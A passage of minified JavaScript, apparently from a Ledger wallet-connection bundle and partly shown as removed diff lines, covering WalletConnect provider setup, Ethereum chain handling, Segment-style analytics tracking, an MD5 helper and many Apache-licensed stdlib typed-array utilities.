0:t.map((e=>this.formatChainId(e))))||[`${this.namespace}:1`],optionalChains:e.optionalChains?e.optionalChains.map((e=>this.formatChainId(e))):void 0,methods:(null==e?void 0:e.methods)||Pc,events:(null==e?void 0:e.events)||Ac,optionalMethods:(null==e?void 0:e.optionalMethods)||[],optionalEvents:(null==e?void 0:e.optionalEvents)||[],rpcMap:(null==e?void 0:e.rpcMap)||this.buildRpcMap(e.chains.concat(e.optionalChains||[]),e.projectId),projectId:e.projectId,metadata:e.metadata}}buildRpcMap(e,t){const n={};return e.forEach((e=>{n[e]=this.getRpcUrl(e,t)})),n}initialize(e){return c(this,void 0,void 0,(function*(){this.rpc=this.getRpcConfig(e),this.chainId=Nc(this.rpc.chains),this.signer=yield Cc.exports.UniversalProvider.init({projectId:this.rpc.projectId,metadata:this.rpc.metadata,disableProviderPing:e.disableProviderPing,relayUrl:e.relayUrl,storageOptions:e.storageOptions}),this.registerEventListeners(),yield this.loadPersistedSession()}))}loadConnectOpts(e){if(!e)return;const{chains:t,optionalChains:n,rpcMap:r}=e;t&&Ic(t)&&(this.rpc.chains=t.map((e=>this.formatChainId(e))),t.forEach((e=>{this.rpc.rpcMap[e]=(null==r?void 0:r[e])||this.getRpcUrl(e)}))),n&&Ic(n)&&(this.rpc.optionalChains=[],this.rpc.optionalChains=null==n?void 0:n.map((e=>this.formatChainId(e))),n.forEach((e=>{this.rpc.rpcMap[e]=(null==r?void 0:r[e])||this.getRpcUrl(e)})))}getRpcUrl(e,t){var n;return(null===(n=this.rpc.rpcMap)||void 0===n?void 0:n[e])||`https://rpc.walletconnect.com/v1/?chainId=eip155:${e}&projectId=${t||this.rpc.projectId}`}loadPersistedSession(){return c(this,void 0,void 0,(function*(){if(!this.session)return;const e=yield this.signer.client.core.storage.getItem(`${this.STORAGE_KEY}/chainId`),t=this.session.namespaces[`${this.namespace}:${e}`]?this.session.namespaces[`${this.namespace}:${e}`]:this.session.namespaces[this.namespace];this.setChainIds(e?[this.formatChainId(e)]:null==t?void 0:t.accounts),this.setAccounts(null==t?void 0:t.accounts)}))}reset(){this.chainId=1,this.accounts=[]}persist(){this.session&&this.signer.client.core.storage.setItem(`${this.STORAGE_KEY}/chainId`,this.chainId)}parseAccounts(e){return"string"==typeof e||e instanceof String?[this.parseAccount(e)]:e.map((e=>this.parseAccount(e)))}}const Lc=r("WalletConnectEvm"),jc=i("WalletConnectEvm");function Uc(){return c(this,void 0,void 0,(function*(){Lc("getWalletConnectProvider");try{const e=yield function(){return c(this,void 0,void 0,(function*(){Lc("initWalletConnectProvider");const e=Kc();Lc("walletConnectProviderOptions is",e);const t={projectId:e.projectId,chains:e.chains,optionalChains:e.optionalChains,methods:e.methods,optionalMethods:e.optionalMethods||[],events:e.events,optionalEvents:e.optionalEvents||[],rpcMap:e.rpcMap,relayUrl:e.relayUrl,showQrModal:!1};Lc("ethereum init options are",t),Lc("creating a new provider instance");try{return Mc.init(t)}catch(e){throw jc("Error while initializing ethereum provider"),e}}))}();return function(e){if(Lc("assignWalletConnectProviderEvents"),!e)return;function t(e){e&&(e.removeListener("connect",n),e.removeListener("session_delete",r))}function n(e){Lc("connectHandler",e),Jo(!1)}function r(n){Lc("disconnectHandler",n),e.disconnect(),t(e)}t(e),e.on("connect",n),e.on("session_delete",r),Lc("provider is",e)}(e),e.request=function(e){Lc("patchWalletConnectProviderRequest");const t=e.request.bind(e),n=Kc();return Lc("walletConnectProviderOptions is",n),function({method:r,params:i}){return c(this,void 0,void 0,(function*(){return"eth_requestAccounts"===r?(Lc("calling patched",r,i),Lc("handling display_uri once"),e.once("display_uri",Dc),new Promise(((o,s)=>c(this,void 0,void 0,(function*(){var u,c;try{(null===(u=null==e?void 0:e.session)||void 0===u?void 0:u.connected)?(Lc("reusing existing session"),o(yield t({method:r,params:i}))):(c={uri:"",onClose:()=>{jc("user rejected"),s(new a)}},qs("UseLedgerLiveModal",{isDesktop:"desktop"===Bs().type,uri:c.uri,onClose:c.onClose}),Lc("creating a new session"),yield e.connect({chains:n.chains,optionalChains:n.optionalChains}),o(yield t({method:r,params:i})))}catch(e){return jc("error",e),s(e)}}))))):(Lc("calling provider",r,i),yield t({method:r,params:i}))}))}}(e),e}catch(e){const t=e instanceof Error?e:new Error(String(e));throw jc("error",t),t}}))}function Dc(e){Lc("displayUriHandler",e),Ts(e)}const zc=r("getProvider"),Fc=[1];var Bc,Hc;let qc;!function(e){e.Ethereum="Ethereum",e.Solana="Solana"}(Bc||(Bc={})),function(e){e.LedgerConnect="LedgerConnect",e.WalletConnect="WalletConnect"}(Hc||(Hc={}));const Vc=e=>(zc("getHexChainId",e),"string"==typeof e&&e.match(/^0x[0-9A-Fa-f]*$/)?e:`0x${e.toString(16)}`),$c=r("supportOptions");let Wc;const Kc=()=>($c("getSupportOptions"),Wc),Gc=r("ExtensionEvm"),Yc="ethereum",Qc="isLedgerConnect";var Jc;function Xc(e){return("iOS"===e.os.name||"macOS"===e.os.name)&&"Safari"===e.browser.name}function Zc(e){return!!Jc[e]}function el(e){return e.every(Zc)}function tl(){if(Gc("getEthereumProvider"),"undefined"==typeof window)throw new u;let e=window[Yc];if(Gc("provider is",e),void 0===e||void 0===e[Qc])throw new o;const t=Kc(),n=Vc(t.chainId||0);return Vc(e.chainId)!=n&&(Gc("chainIds are different, changing to",n),e.request({method:"wallet_switchEthereumChain",params:[{chainId:n}]})),e}!function(e){e[e.EthereumMainnet=1]="EthereumMainnet",e[e.Polygon=137]="Polygon"}(Jc||(Jc={}));const nl=r("support");let rl;var il=Object.freeze({__proto__:null,link:function(e,t,n,r){var i=this;return e?((e instanceof Element?[e]:"toArray"in e?e.toArray():e).forEach((function(e){e.addEventListener("click",(function(o){var s,a,u=t instanceof Function?t(e):t,c=n instanceof Function?n(e):n,l=e.getAttribute("href")||e.getAttributeNS("http://www.w3.org/1999/xlink","href")||e.getAttribute("xlink:href")||(null===(s=e.getElementsByTagName("a")[0])||void 0===s?void 0:s.getAttribute("href")),f=Dt(i.track(u,c,null!=r?r:{}),null!==(a=i.settings.timeout)&&void 0!==a?a:500);(function(e,t){return!("_blank"!==e.target||!t)})(e,l)||function(e){var t=e;return!!(t.ctrlKey||t.shiftKey||t.metaKey||t.button&&1==t.button)}(o)||l&&(o.preventDefault?o.preventDefault():o.returnValue=!1,f.catch(console.error).then((function(){window.location.href=l})).catch(console.error))}),!1)})),this):this},form:function(e,t,n,r){var i=this;return e?(e instanceof HTMLFormElement&&(e=[e]),e.forEach((function(e){if(!(e instanceof Element))throw new TypeError("Must pass HTMLElement to trackForm/trackSubmit.");var o=function(o){var s;o.preventDefault?o.preventDefault():o.returnValue=!1;var a=t instanceof Function?t(e):t,u=n instanceof Function?n(e):n;Dt(i.track(a,u,null!=r?r:{}),null!==(s=i.settings.timeout)&&void 0!==s?s:500).catch(console.error).then((function(){e.submit()})).catch(console.error)},s=window.jQuery||window.Zepto;s?s(e).submit(o):e.addEventListener("submit",o,!1)})),this):this}});function ol(e,t){return Object.keys(t).reduce((function(n,r){r.startsWith(e)&&(n[r.substr(e.length)]=t[r]);return n}),{})}for(var sl=Object.freeze({__proto__:null,queryString:function(e,t){var n=document.createElement("a");n.href=t;var r=n.search.slice(1).split("&").reduce((function(e,t){var n=t.split("="),r=n[0],i=n[1];return e[r]=yn(i),e}),{}),i=[],o=r.ajs_uid,s=r.ajs_event,a=r.ajs_aid,u=Mt(e.options.useQueryString)?e.options.useQueryString:{},c=u.aid,l=void 0===c?/.+/:c,f=u.uid,h=void 0===f?/.+/:f;if(a){var d=Array.isArray(r.ajs_aid)?r.ajs_aid[0]:r.ajs_aid;l.test(d)&&e.setAnonymousId(d)}if(o){var p=Array.isArray(r.ajs_uid)?r.ajs_uid[0]:r.ajs_uid;if(h.test(p)){var g=ol("ajs_trait_",r);i.push(e.identify(p,g))}}if(s){var y=Array.isArray(r.ajs_event)?r.ajs_event[0]:r.ajs_event,v=ol("ajs_prop_",r);i.push(e.track(y,v))}return Promise.all(i)}}),al={},ul={},cl=[],ll=0;ll<64;)cl[ll]=0|4294967296*Math.sin(++ll%Math.PI);var fl=Object.freeze({__proto__:null,default:function(e){var t,n,r,i=[t=1732584193,n=4023233417,~t,~n],o=[],s=unescape(encodeURI(e))+"€",a=s.length;for(e=--a/4+2|15,o[--e]=8*a;~a;)o[a>>2]|=s.charCodeAt(a)<<8*a--;for(ll=s=0;ll<e;ll+=16){for(a=i;s<64;a=[r=a[3],t+((r=a[0]+[t&n|~t&r,r&t|~r&n,t^n^r,n^(t|~r)][a=s>>4]+cl[s]+~~o[ll|15&[s,5*s+1,3*s+5,7*s][a]])<<(a=[7,12,17,22,5,9,14,20,4,11,16,23,6,10,15,21][4*a+s++%4])|r>>>-a),t,n])t=0|a[1],n=a[2];for(s=4;s;)i[--s]+=a[s]}for(e="";s<32;)e+=(i[s>>3]>>4*(1^s++)&15).toString(16);return e}}),hl=h(fl),dl={exports:{}};!function(e,t){e.exports=function(e,t,n,r,i){for(t=t.split?t.split("."):t,r=0;r<t.length;r++)e=e?e[t[r]]:i;return e===i?n:e}}(dl);
330
- /**
331
- * @license Apache-2.0
332
- *
333
- * Copyright (c) 2018 The Stdlib Authors.
334
- *
335
- * Licensed under the Apache License, Version 2.0 (the "License");
336
- * you may not use this file except in compliance with the License.
337
- * You may obtain a copy of the License at
338
- *
339
- * http://www.apache.org/licenses/LICENSE-2.0
340
- *
341
- * Unless required by applicable law or agreed to in writing, software
342
- * distributed under the License is distributed on an "AS IS" BASIS,
343
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
344
- * See the License for the specific language governing permissions and
345
- * limitations under the License.
346
- */
347
- var pl=Number.POSITIVE_INFINITY,gl=Number.NEGATIVE_INFINITY;var yl=
348
- /**
349
- * @license Apache-2.0
350
- *
351
- * Copyright (c) 2018 The Stdlib Authors.
352
- *
353
- * Licensed under the Apache License, Version 2.0 (the "License");
354
- * you may not use this file except in compliance with the License.
355
- * You may obtain a copy of the License at
356
- *
357
- * http://www.apache.org/licenses/LICENSE-2.0
358
- *
359
- * Unless required by applicable law or agreed to in writing, software
360
- * distributed under the License is distributed on an "AS IS" BASIS,
361
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
362
- * See the License for the specific language governing permissions and
363
- * limitations under the License.
364
- */
365
- function(e){return e!=e},vl=yl,ml=pl,_l=gl;
366
- /**
367
- * @license Apache-2.0
368
- *
369
- * Copyright (c) 2018 The Stdlib Authors.
370
- *
371
- * Licensed under the Apache License, Version 2.0 (the "License");
372
- * you may not use this file except in compliance with the License.
373
- * You may obtain a copy of the License at
374
- *
375
- * http://www.apache.org/licenses/LICENSE-2.0
376
- *
377
- * Unless required by applicable law or agreed to in writing, software
378
- * distributed under the License is distributed on an "AS IS" BASIS,
379
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
380
- * See the License for the specific language governing permissions and
381
- * limitations under the License.
382
- */var bl=function(e){return e===ml||e===_l},wl=bl,El="function"==typeof Object.defineProperty?Object.defineProperty:null;
383
- /**
384
- * @license Apache-2.0
385
- *
386
- * Copyright (c) 2018 The Stdlib Authors.
387
- *
388
- * Licensed under the Apache License, Version 2.0 (the "License");
389
- * you may not use this file except in compliance with the License.
390
- * You may obtain a copy of the License at
391
- *
392
- * http://www.apache.org/licenses/LICENSE-2.0
393
- *
394
- * Unless required by applicable law or agreed to in writing, software
395
- * distributed under the License is distributed on an "AS IS" BASIS,
396
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
397
- * See the License for the specific language governing permissions and
398
- * limitations under the License.
399
- */var Sl=function(){try{return El({},"x",{}),!0}catch(e){return!1}},Ol=Object.defineProperty,xl=Object.prototype,Il=xl.toString,Rl=xl.__defineGetter__,kl=xl.__defineSetter__,Cl=xl.__lookupGetter__,Pl=xl.__lookupSetter__;
400
- /**
401
- * @license Apache-2.0
402
- *
403
- * Copyright (c) 2018 The Stdlib Authors.
404
- *
405
- * Licensed under the Apache License, Version 2.0 (the "License");
406
- * you may not use this file except in compliance with the License.
407
- * You may obtain a copy of the License at
408
- *
409
- * http://www.apache.org/licenses/LICENSE-2.0
410
- *
411
- * Unless required by applicable law or agreed to in writing, software
412
- * distributed under the License is distributed on an "AS IS" BASIS,
413
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
414
- * See the License for the specific language governing permissions and
415
- * limitations under the License.
416
- */var Al=Ol,Nl=function(e,t,n){var r,i,o,s;if("object"!=typeof e||null===e||"[object Array]"===Il.call(e))throw new TypeError("invalid argument. First argument must be an object. Value: `"+e+"`.");if("object"!=typeof n||null===n||"[object Array]"===Il.call(n))throw new TypeError("invalid argument. Property descriptor must be an object. Value: `"+n+"`.");if((i="value"in n)&&(Cl.call(e,t)||Pl.call(e,t)?(r=e.__proto__,e.__proto__=xl,delete e[t],e[t]=n.value,e.__proto__=r):e[t]=n.value),o="get"in n,s="set"in n,i&&(o||s))throw new Error("invalid argument. Cannot specify one or more accessors and a value or writable attribute in the property descriptor.");return o&&Rl&&Rl.call(e,t,n.get),s&&kl&&kl.call(e,t,n.set),e},Tl=Sl()?Al:Nl;
417
- /**
418
- * @license Apache-2.0
419
- *
420
- * Copyright (c) 2018 The Stdlib Authors.
421
- *
422
- * Licensed under the Apache License, Version 2.0 (the "License");
423
- * you may not use this file except in compliance with the License.
424
- * You may obtain a copy of the License at
425
- *
426
- * http://www.apache.org/licenses/LICENSE-2.0
427
- *
428
- * Unless required by applicable law or agreed to in writing, software
429
- * distributed under the License is distributed on an "AS IS" BASIS,
430
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
431
- * See the License for the specific language governing permissions and
432
- * limitations under the License.
433
- */var Ml=function(e,t,n){Tl(e,t,{configurable:!1,enumerable:!1,writable:!1,value:n})};
434
- /**
435
- * @license Apache-2.0
436
- *
437
- * Copyright (c) 2018 The Stdlib Authors.
438
- *
439
- * Licensed under the Apache License, Version 2.0 (the "License");
440
- * you may not use this file except in compliance with the License.
441
- * You may obtain a copy of the License at
442
- *
443
- * http://www.apache.org/licenses/LICENSE-2.0
444
- *
445
- * Unless required by applicable law or agreed to in writing, software
446
- * distributed under the License is distributed on an "AS IS" BASIS,
447
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
448
- * See the License for the specific language governing permissions and
449
- * limitations under the License.
450
- */var Ll=
451
- /**
452
- * @license Apache-2.0
453
- *
454
- * Copyright (c) 2018 The Stdlib Authors.
455
- *
456
- * Licensed under the Apache License, Version 2.0 (the "License");
457
- * you may not use this file except in compliance with the License.
458
- * You may obtain a copy of the License at
459
- *
460
- * http://www.apache.org/licenses/LICENSE-2.0
461
- *
462
- * Unless required by applicable law or agreed to in writing, software
463
- * distributed under the License is distributed on an "AS IS" BASIS,
464
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
465
- * See the License for the specific language governing permissions and
466
- * limitations under the License.
467
- */
468
- function(){return"function"==typeof Symbol&&"symbol"==typeof Symbol("foo")}();
469
- /**
470
- * @license Apache-2.0
471
- *
472
- * Copyright (c) 2018 The Stdlib Authors.
473
- *
474
- * Licensed under the Apache License, Version 2.0 (the "License");
475
- * you may not use this file except in compliance with the License.
476
- * You may obtain a copy of the License at
477
- *
478
- * http://www.apache.org/licenses/LICENSE-2.0
479
- *
480
- * Unless required by applicable law or agreed to in writing, software
481
- * distributed under the License is distributed on an "AS IS" BASIS,
482
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
483
- * See the License for the specific language governing permissions and
484
- * limitations under the License.
485
- */var jl=function(){return Ll&&"symbol"==typeof Symbol.toStringTag},Ul=Object.prototype.toString,Dl=Ul;
486
- /**
487
- * @license Apache-2.0
488
- *
489
- * Copyright (c) 2018 The Stdlib Authors.
490
- *
491
- * Licensed under the Apache License, Version 2.0 (the "License");
492
- * you may not use this file except in compliance with the License.
493
- * You may obtain a copy of the License at
494
- *
495
- * http://www.apache.org/licenses/LICENSE-2.0
496
- *
497
- * Unless required by applicable law or agreed to in writing, software
498
- * distributed under the License is distributed on an "AS IS" BASIS,
499
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
500
- * See the License for the specific language governing permissions and
501
- * limitations under the License.
502
- */var zl=function(e){return Dl.call(e)},Fl=Object.prototype.hasOwnProperty;
503
- /**
504
- * @license Apache-2.0
505
- *
506
- * Copyright (c) 2018 The Stdlib Authors.
507
- *
508
- * Licensed under the Apache License, Version 2.0 (the "License");
509
- * you may not use this file except in compliance with the License.
510
- * You may obtain a copy of the License at
511
- *
512
- * http://www.apache.org/licenses/LICENSE-2.0
513
- *
514
- * Unless required by applicable law or agreed to in writing, software
515
- * distributed under the License is distributed on an "AS IS" BASIS,
516
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
517
- * See the License for the specific language governing permissions and
518
- * limitations under the License.
519
- */var Bl=function(e,t){return null!=e&&Fl.call(e,t)},Hl="function"==typeof Symbol?Symbol.toStringTag:"",ql=Bl,Vl=Hl,$l=Ul;
520
- /**
521
- * @license Apache-2.0
522
- *
523
- * Copyright (c) 2018 The Stdlib Authors.
524
- *
525
- * Licensed under the Apache License, Version 2.0 (the "License");
526
- * you may not use this file except in compliance with the License.
527
- * You may obtain a copy of the License at
528
- *
529
- * http://www.apache.org/licenses/LICENSE-2.0
530
- *
531
- * Unless required by applicable law or agreed to in writing, software
532
- * distributed under the License is distributed on an "AS IS" BASIS,
533
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
534
- * See the License for the specific language governing permissions and
535
- * limitations under the License.
536
- */var Wl=function(e){var t,n,r;if(null==e)return $l.call(e);n=e[Vl],t=ql(e,Vl);try{e[Vl]=void 0}catch(t){return $l.call(e)}return r=$l.call(e),t?e[Vl]=n:delete e[Vl],r},Kl=zl,Gl=Wl,Yl=jl()?Gl:Kl,Ql=Yl,Jl="function"==typeof Uint32Array;
537
- /**
538
- * @license Apache-2.0
539
- *
540
- * Copyright (c) 2018 The Stdlib Authors.
541
- *
542
- * Licensed under the Apache License, Version 2.0 (the "License");
543
- * you may not use this file except in compliance with the License.
544
- * You may obtain a copy of the License at
545
- *
546
- * http://www.apache.org/licenses/LICENSE-2.0
547
- *
548
- * Unless required by applicable law or agreed to in writing, software
549
- * distributed under the License is distributed on an "AS IS" BASIS,
550
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
551
- * See the License for the specific language governing permissions and
552
- * limitations under the License.
553
- */var Xl="function"==typeof Uint32Array?Uint32Array:null,Zl=function(e){return Jl&&e instanceof Uint32Array||"[object Uint32Array]"===Ql(e)},ef=Xl;
554
- /**
555
- * @license Apache-2.0
556
- *
557
- * Copyright (c) 2018 The Stdlib Authors.
558
- *
559
- * Licensed under the Apache License, Version 2.0 (the "License");
560
- * you may not use this file except in compliance with the License.
561
- * You may obtain a copy of the License at
562
- *
563
- * http://www.apache.org/licenses/LICENSE-2.0
564
- *
565
- * Unless required by applicable law or agreed to in writing, software
566
- * distributed under the License is distributed on an "AS IS" BASIS,
567
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
568
- * See the License for the specific language governing permissions and
569
- * limitations under the License.
570
- */var tf=function(){var e,t;if("function"!=typeof ef)return!1;try{t=new ef(t=[1,3.14,-3.14,4294967296,4294967297]),e=Zl(t)&&1===t[0]&&3===t[1]&&4294967293===t[2]&&0===t[3]&&1===t[4]}catch(t){e=!1}return e};
571
- /**
572
- * @license Apache-2.0
573
- *
574
- * Copyright (c) 2018 The Stdlib Authors.
575
- *
576
- * Licensed under the Apache License, Version 2.0 (the "License");
577
- * you may not use this file except in compliance with the License.
578
- * You may obtain a copy of the License at
579
- *
580
- * http://www.apache.org/licenses/LICENSE-2.0
581
- *
582
- * Unless required by applicable law or agreed to in writing, software
583
- * distributed under the License is distributed on an "AS IS" BASIS,
584
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
585
- * See the License for the specific language governing permissions and
586
- * limitations under the License.
587
- */var nf="function"==typeof Uint32Array?Uint32Array:void 0,rf=
588
- /**
589
- * @license Apache-2.0
590
- *
591
- * Copyright (c) 2018 The Stdlib Authors.
592
- *
593
- * Licensed under the Apache License, Version 2.0 (the "License");
594
- * you may not use this file except in compliance with the License.
595
- * You may obtain a copy of the License at
596
- *
597
- * http://www.apache.org/licenses/LICENSE-2.0
598
- *
599
- * Unless required by applicable law or agreed to in writing, software
600
- * distributed under the License is distributed on an "AS IS" BASIS,
601
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
602
- * See the License for the specific language governing permissions and
603
- * limitations under the License.
604
- */
605
- function(){throw new Error("not implemented")},of=tf()?nf:rf,sf=Yl,af="function"==typeof Float64Array;
606
- /**
607
- * @license Apache-2.0
608
- *
609
- * Copyright (c) 2018 The Stdlib Authors.
610
- *
611
- * Licensed under the Apache License, Version 2.0 (the "License");
612
- * you may not use this file except in compliance with the License.
613
- * You may obtain a copy of the License at
614
- *
615
- * http://www.apache.org/licenses/LICENSE-2.0
616
- *
617
- * Unless required by applicable law or agreed to in writing, software
618
- * distributed under the License is distributed on an "AS IS" BASIS,
619
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
620
- * See the License for the specific language governing permissions and
621
- * limitations under the License.
622
- */var uf="function"==typeof Float64Array?Float64Array:null,cf=function(e){return af&&e instanceof Float64Array||"[object Float64Array]"===sf(e)},lf=uf;
623
- /**
624
- * @license Apache-2.0
625
- *
626
- * Copyright (c) 2018 The Stdlib Authors.
627
- *
628
- * Licensed under the Apache License, Version 2.0 (the "License");
629
- * you may not use this file except in compliance with the License.
630
- * You may obtain a copy of the License at
631
- *
632
- * http://www.apache.org/licenses/LICENSE-2.0
633
- *
634
- * Unless required by applicable law or agreed to in writing, software
635
- * distributed under the License is distributed on an "AS IS" BASIS,
636
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
637
- * See the License for the specific language governing permissions and
638
- * limitations under the License.
639
- */var ff=function(){var e,t;if("function"!=typeof lf)return!1;try{t=new lf([1,3.14,-3.14,NaN]),e=cf(t)&&1===t[0]&&3.14===t[1]&&-3.14===t[2]&&t[3]!=t[3]}catch(t){e=!1}return e};
640
- /**
641
- * @license Apache-2.0
642
- *
643
- * Copyright (c) 2018 The Stdlib Authors.
644
- *
645
- * Licensed under the Apache License, Version 2.0 (the "License");
646
- * you may not use this file except in compliance with the License.
647
- * You may obtain a copy of the License at
648
- *
649
- * http://www.apache.org/licenses/LICENSE-2.0
650
- *
651
- * Unless required by applicable law or agreed to in writing, software
652
- * distributed under the License is distributed on an "AS IS" BASIS,
653
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
654
- * See the License for the specific language governing permissions and
655
- * limitations under the License.
656
- */var hf="function"==typeof Float64Array?Float64Array:void 0,df=
657
- /**
658
- * @license Apache-2.0
659
- *
660
- * Copyright (c) 2018 The Stdlib Authors.
661
- *
662
- * Licensed under the Apache License, Version 2.0 (the "License");
663
- * you may not use this file except in compliance with the License.
664
- * You may obtain a copy of the License at
665
- *
666
- * http://www.apache.org/licenses/LICENSE-2.0
667
- *
668
- * Unless required by applicable law or agreed to in writing, software
669
- * distributed under the License is distributed on an "AS IS" BASIS,
670
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
671
- * See the License for the specific language governing permissions and
672
- * limitations under the License.
673
- */
674
- function(){throw new Error("not implemented")},pf=ff()?hf:df,gf=Yl,yf="function"==typeof Uint8Array;
675
- /**
676
- * @license Apache-2.0
677
- *
678
- * Copyright (c) 2018 The Stdlib Authors.
679
- *
680
- * Licensed under the Apache License, Version 2.0 (the "License");
681
- * you may not use this file except in compliance with the License.
682
- * You may obtain a copy of the License at
683
- *
684
- * http://www.apache.org/licenses/LICENSE-2.0
685
- *
686
- * Unless required by applicable law or agreed to in writing, software
687
- * distributed under the License is distributed on an "AS IS" BASIS,
688
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
689
- * See the License for the specific language governing permissions and
690
- * limitations under the License.
691
- */var vf="function"==typeof Uint8Array?Uint8Array:null,mf=function(e){return yf&&e instanceof Uint8Array||"[object Uint8Array]"===gf(e)},_f=vf;
692
- /**
693
- * @license Apache-2.0
694
- *
695
- * Copyright (c) 2018 The Stdlib Authors.
696
- *
697
- * Licensed under the Apache License, Version 2.0 (the "License");
698
- * you may not use this file except in compliance with the License.
699
- * You may obtain a copy of the License at
700
- *
701
- * http://www.apache.org/licenses/LICENSE-2.0
702
- *
703
- * Unless required by applicable law or agreed to in writing, software
704
- * distributed under the License is distributed on an "AS IS" BASIS,
705
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
706
- * See the License for the specific language governing permissions and
707
- * limitations under the License.
708
- */var bf=function(){var e,t;if("function"!=typeof _f)return!1;try{t=new _f(t=[1,3.14,-3.14,256,257]),e=mf(t)&&1===t[0]&&3===t[1]&&253===t[2]&&0===t[3]&&1===t[4]}catch(t){e=!1}return e};
709
- /**
710
- * @license Apache-2.0
711
- *
712
- * Copyright (c) 2018 The Stdlib Authors.
713
- *
714
- * Licensed under the Apache License, Version 2.0 (the "License");
715
- * you may not use this file except in compliance with the License.
716
- * You may obtain a copy of the License at
717
- *
718
- * http://www.apache.org/licenses/LICENSE-2.0
719
- *
720
- * Unless required by applicable law or agreed to in writing, software
721
- * distributed under the License is distributed on an "AS IS" BASIS,
722
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
723
- * See the License for the specific language governing permissions and
724
- * limitations under the License.
725
- */var wf="function"==typeof Uint8Array?Uint8Array:void 0,Ef=
726
- /**
727
- * @license Apache-2.0
728
- *
729
- * Copyright (c) 2018 The Stdlib Authors.
730
- *
731
- * Licensed under the Apache License, Version 2.0 (the "License");
732
- * you may not use this file except in compliance with the License.
733
- * You may obtain a copy of the License at
734
- *
735
- * http://www.apache.org/licenses/LICENSE-2.0
736
- *
737
- * Unless required by applicable law or agreed to in writing, software
738
- * distributed under the License is distributed on an "AS IS" BASIS,
739
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
740
- * See the License for the specific language governing permissions and
741
- * limitations under the License.
742
- */
743
- function(){throw new Error("not implemented")},Sf=bf()?wf:Ef,Of=Yl,xf="function"==typeof Uint16Array;
744
- /**
745
- * @license Apache-2.0
746
- *
747
- * Copyright (c) 2018 The Stdlib Authors.
748
- *
749
- * Licensed under the Apache License, Version 2.0 (the "License");
750
- * you may not use this file except in compliance with the License.
751
- * You may obtain a copy of the License at
752
- *
753
- * http://www.apache.org/licenses/LICENSE-2.0
754
- *
755
- * Unless required by applicable law or agreed to in writing, software
756
- * distributed under the License is distributed on an "AS IS" BASIS,
757
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
758
- * See the License for the specific language governing permissions and
759
- * limitations under the License.
760
- */var If="function"==typeof Uint16Array?Uint16Array:null,Rf=function(e){return xf&&e instanceof Uint16Array||"[object Uint16Array]"===Of(e)},kf=If;
761
- /**
762
- * @license Apache-2.0
763
- *
764
- * Copyright (c) 2018 The Stdlib Authors.
765
- *
766
- * Licensed under the Apache License, Version 2.0 (the "License");
767
- * you may not use this file except in compliance with the License.
768
- * You may obtain a copy of the License at
769
- *
770
- * http://www.apache.org/licenses/LICENSE-2.0
771
- *
772
- * Unless required by applicable law or agreed to in writing, software
773
- * distributed under the License is distributed on an "AS IS" BASIS,
774
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
775
- * See the License for the specific language governing permissions and
776
- * limitations under the License.
777
- */var Cf=function(){var e,t;if("function"!=typeof kf)return!1;try{t=new kf(t=[1,3.14,-3.14,65536,65537]),e=Rf(t)&&1===t[0]&&3===t[1]&&65533===t[2]&&0===t[3]&&1===t[4]}catch(t){e=!1}return e};
778
- /**
779
- * @license Apache-2.0
780
- *
781
- * Copyright (c) 2018 The Stdlib Authors.
782
- *
783
- * Licensed under the Apache License, Version 2.0 (the "License");
784
- * you may not use this file except in compliance with the License.
785
- * You may obtain a copy of the License at
786
- *
787
- * http://www.apache.org/licenses/LICENSE-2.0
788
- *
789
- * Unless required by applicable law or agreed to in writing, software
790
- * distributed under the License is distributed on an "AS IS" BASIS,
791
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
792
- * See the License for the specific language governing permissions and
793
- * limitations under the License.
794
- */var Pf,Af="function"==typeof Uint16Array?Uint16Array:void 0,Nf=
795
- /**
796
- * @license Apache-2.0
797
- *
798
- * Copyright (c) 2018 The Stdlib Authors.
799
- *
800
- * Licensed under the Apache License, Version 2.0 (the "License");
801
- * you may not use this file except in compliance with the License.
802
- * You may obtain a copy of the License at
803
- *
804
- * http://www.apache.org/licenses/LICENSE-2.0
805
- *
806
- * Unless required by applicable law or agreed to in writing, software
807
- * distributed under the License is distributed on an "AS IS" BASIS,
808
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
809
- * See the License for the specific language governing permissions and
810
- * limitations under the License.
811
- */
812
- function(){throw new Error("not implemented")},Tf={uint16:Cf()?Af:Nf,uint8:Sf};
813
- /**
814
- * @license Apache-2.0
815
- *
816
- * Copyright (c) 2018 The Stdlib Authors.
817
- *
818
- * Licensed under the Apache License, Version 2.0 (the "License");
819
- * you may not use this file except in compliance with the License.
820
- * You may obtain a copy of the License at
821
- *
822
- * http://www.apache.org/licenses/LICENSE-2.0
823
- *
824
